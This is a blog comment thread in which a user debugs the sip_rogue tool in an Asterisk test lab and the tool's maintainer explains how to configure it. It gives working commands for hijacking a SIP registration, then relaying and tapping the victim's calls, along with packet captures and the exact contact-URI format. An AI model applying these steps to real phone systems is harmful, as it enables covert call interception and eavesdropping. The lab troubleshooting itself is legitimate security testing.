« Two New Authors on This Blog | Main | Presentation Describing How to Do Remote Eavesdropping on A Cisco Phone »

March 04, 2008

Comments

Chase Pollock

A friend of mine pointed out your entry to me, and it's nice to see myself mentioned in your blog. I will keep you updated, or Mark can fill you in.

Chase

bl

I just tried to use sip_rogue v1.2 in B2BUA mode within an asterisk 1.6.2.20 test lab. For some reason, sip rogue immediately replies with a 404 to calls terminating at hijacked sip accounts... Even with the minimal config which is supposed to answer any call, right? Any idea? cheers

Mark O'Brien

In the Readme.txt file which accompanies the sip_rogue_v2.1 tool, there are instructions and examples for creating a callable user agent within the sip_rouge_v2.1 environment and then having sip_rouge_v2.1 accept calls to that user agent. You may then issue an additional command so when a call is accepted, it is also relayed to the SIP user agent of your choice. If you have not created a sipendpoint to accept calls within the sip_rouge_V2.1 environment, then that would be one reason why sip_rogue_v2.1 immediately responds to an incoming INVITE request with the 404 Not Found reply.

Or perhaps the user agent name you assigned to the sipendpoint is what you intended, but the user part of the contact information you specified when you highjacked the "real" user agent's registration in his SIP proxy/registrar does not match the sipendpoint user agent name you created within the sip_rogue_v2.1 environment.

bl

Hi,
cool, thanks for your fast reply.
Of course I studied the readme. :) You are referring to V2.1 - can that be true? I am using 1.2...
Maybe you can have a quick look at how I configured sip_rogue:

connection 0
create sipudpport myport using 192.168.1.201:5065
create sipdispatcher mydispatcher using sipudpport myport
create sipregistrarconnector myconnector to 192.168.1.106:5060 with the domain 192.168.1.106
create rtphandler myrtphandler
create sipendpoint hacker
issue hacker accept calls
issue hacker relay calls to sip:3333@192.168.1.203:5060
issue hacker tap calls to sip:2222@192.168.1.200:5000

I then hijacked registration of user 3333 to be available at 192.168.1.201:5065 (which I verified via asterisk cli).
I then called from user 1111 to 3333 and would expect sip:3333@192.168.1.203:5060 to ring (which was the URI before hijacking) and tapping to 2222.
But I get this 404 of sip_rogue. I was thinking about an issue in how I typed the NamedURIs - like I need a double quote or <> or something.

I understand that maybe sip_rogue is already a bit outdated and cannot considered being productive software, but this would be an awesome demonstration and it does not seem that there exists something similar...

Mark O'Brien

Sorry, yes I meant v1.2.

It looks like your commands are correct. However, I don't believe you need the sipregistrarconnector. Try again without that command.

When you call 3333, both 3333 and the tap phone 2222 should ring simultaneously - more or less.

If you still receive the 404 Not Found reply, then the next step is to capture packets received and transmitted by the computer running sip_rogue. I recommend the command line tool 'tcpdump' or the more user friendly gui 'wireshark' packet sniffer tool. I suggest you capture any (i.e. all) interfaces. That way, you will know for certain if sip_rogue is generating the '404 Not Found' or if it is actually issuing an INVITE request to sip:3333@192.168.1.203:5060 and that SIP user agent is returning the '404 Not Found' reply to sip_rogue.

I don't believe a 404 Not Found reply is returned from sip_rogue if it doesn't like the SDP payload carried in the INVITE request, but the packet capture should also permit you to verify that the SDP payload complies with a restriction in the sip_rogue Readme.txt file:

"sip_rogue supports G.711 u-law audio (rtp packets) only. The behavior
is undefined if it is presented with audio that does not comply with the
G.711 u-law codec. The G.711 u-law codec must be the first codec option
offered in a SDP message carried within a SIP message during session
negotiation."

The Asterisk PBX likes to default to the gsm codec. Since it is a B2BUA by default, if it receives an INVITE request with only the G.711 codec specified in the SDP payload carried by the INVITE request, it will probably re-originate the INVITE request to sip_rogue and stipulate the gsm codec instead. You can override that default behavior in the Asterisk PBX configuration.

You should make sure all your phones are configured for the G.711 u-law codec only.

Mark O'Brien

By the way, I presume the contact information you supply when you hijack the registration of 3333 is:

hacker@192.168.1.201:5065

and NOT only:

192.168.1.201:5065

If you didn't stipulate hacker as the user when you hijacked 3333 in the Asterisk PBX, then that's why '404 Not Found' is being returned.

Mark O'Brien

I should be more precise. On the command line of the reghijacker tool (if that's what you used to hijack the registration of 3333 in the Asterisk PBX), the new contact information should appear as follows:

sip:hacker@192.168.1.201:5065

Hmmmm....Typepad doesn't seem to like angle brackets and dbl quotes. On the command line, sip should be immediately preceded by a dbl quote and an open angle bracket (i.e. less than sign). And 5065 should be immediately followed by a close angle bracket (i.e. greater than sign) and a dbl quote.

bl

Hi,

na, still not working. I did it again with the minimum config where I would expect every call to be answered.
I had to change environment, so this is with different IPs.

After reg hijacking this is what asterisk tells me about 3333:

3333/3333 10.0.1.149 D N A 15002 OK (1 ms)
(asterisk seems to look only on the source port of registration requests - maybe an idea to consider with reghijacker)

this is how I configured sip_rogue accordingly:

oot@bt:/pentest/custom/SecureLogix/sip_rogue_v1.2# ./rogue_b2b "localhost" "6060"
spawn telnet localhost 6060
connection 0
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Info: Connection set to: 0
create sipudpport myport using 10.0.1.149:15002
Info: sipUdpPort created: myport
create sipdispatcher mydispatcher
Info: SipDispatcher created: mydispatcher
create rtphandler myrtphandler
Info: RtpHandler created: myrtphandler
create sipendpoint hacker
Info: sipEndPoint created: hacker
issue hacker accept calls
Info: Issued "accept calls" to sipEndPoint: hacker

When I then call 3333 from 1111, the registrar properly forwards the request to sip_rogue as you can see below. But then sip_rogue answers with 404.

INVITE sip:3333@10.0.1.149 SIP/2.0
Via: SIP/2.0/UDP 10.0.1.118:5060;branch=z9hG4bK49c02456;rport
Max-Forwards: 70
From: "1111" ;tag=as36c46d0d
To:
Contact:
Call-ID: 45eac2615d3c18126641be2a17d57ed6@10.0.1.118
CSeq: 102 INVITE
User-Agent: FPBX-2.7.0(1.6.2.11)
Date: Fri, 09 Mar 2012 23:34:53 GMT
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO
Supported: replaces, timer
Content-Type: application/sdp
Content-Length: 278

v=0
o=root 397796977 397796977 IN IP4 10.0.1.118
s=Asterisk PBX 1.6.2.20
c=IN IP4 10.0.1.118
t=0 0
m=audio 17538 RTP/AVP 0 3 8 101
a=rtpmap:0 PCMU/8000
a=rtpmap:3 GSM/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16
a=ptime:20
a=sendrecv


SIP/2.0 404 Not Found
Via: SIP/2.0/UDP 10.0.1.118:5060;branch=z9hG4bK49c02456;rport
To:
From: "1111" ;tag=as36c46d0d
Call-ID: 45eac2615d3c18126641be2a17d57ed6@10.0.1.118
CSeq: 102 INVITE

bl

haha...
now I know what you mean with 'Typepad doesn't seem to like angle brackets and dbl quotes'...
damnit, I don't know - maybe I start debugging sip_rogue to find out why it responds with a 404, even though I told it to answer every call. There is no logging feature so far in sip_rogue, right?

cheers

Mark O'Brien

Your problem is that the request line is to user 3333 and not user hacker. When the Asterisk PBX re-originates the INVITE request, the contact information Asterisk has registered for user 3333 should replace what was in the Request-URI field of the INVITE request Asterisk received.

Did you specify this string in the contact argument to the reghijacker tool (enclosed with with dbl quotes and angle brackets)?

sip:hacker@10.0.1.149:15002

You can use the regquery tool to find out how the contact information appears in the Asterisk PBX for user 3333.

./regquery ethinterface ipaddrofAsteriskPBXHere ipaddrofAsteriskPBXHere -u 3333 -v

Mark O'Brien

Alternately, you can use tcpdump or wireshark on the Asterisk PBX or on the computer you execute reghijacker to capture the reghijacker tool's REGISTER message and the Asterisk PBX's 200 OK reply to the REGISTER message. The contact header in the 200 OK reply to the REGISTER request should reflect the contact information you supplied to the reghijacker tool - if the hijack was successful.

bl

Hi,
oh my gosh - that was it. I was not aware, that the sip_rogue's endpoint has to be the same as the contact endpoint of the hijacked account. So the 404 makes also sense...
Thank you so much! Great Tool ;)
Cheers

Mark O'Brien

Unlike many of the other tools in the SecureLogix toolset, I did not author the sip_rogue tool. I did modify it, but it is buggy and not anywhere close to a production level tool. In fact, I would not describe any of the tools in the SecureLogix toolset produced when Mark Collier wrote his half of the first edition of the VoIP Hacking Exposed book as "production level" tools. They are typical "hacker quality". Please set your expectations accordingly and use/modify them at your own risk.

bl

Hi,

maybe a stupid question, but it just came to my mind: Wouldn't it be possible to use e.g. Asterisk as a rogue B2BUA as well? Compared to sip_rogue, that would circumvent sip_rogue's G.711 u-law limitation, right?

cheers

Mark O'Brien

Asterisk is quite capable. I have not kept up with Asterisk evolution the last several years, so I am not certain if Asterisk can be used today as-is with the appropriate user config and user scripts to replicate all of sip_rogue's capability, but since it is open-source I don't see why not.

I relied heavily upon Asterisk for the spitter tool.

The comments to this entry are closed.

My Photo

Search Blog

  • Search Blog
    Google

    WWW
    voipsecurityblog.typepad.com

Become a Fan

Telephony Denial of Service (TDoS)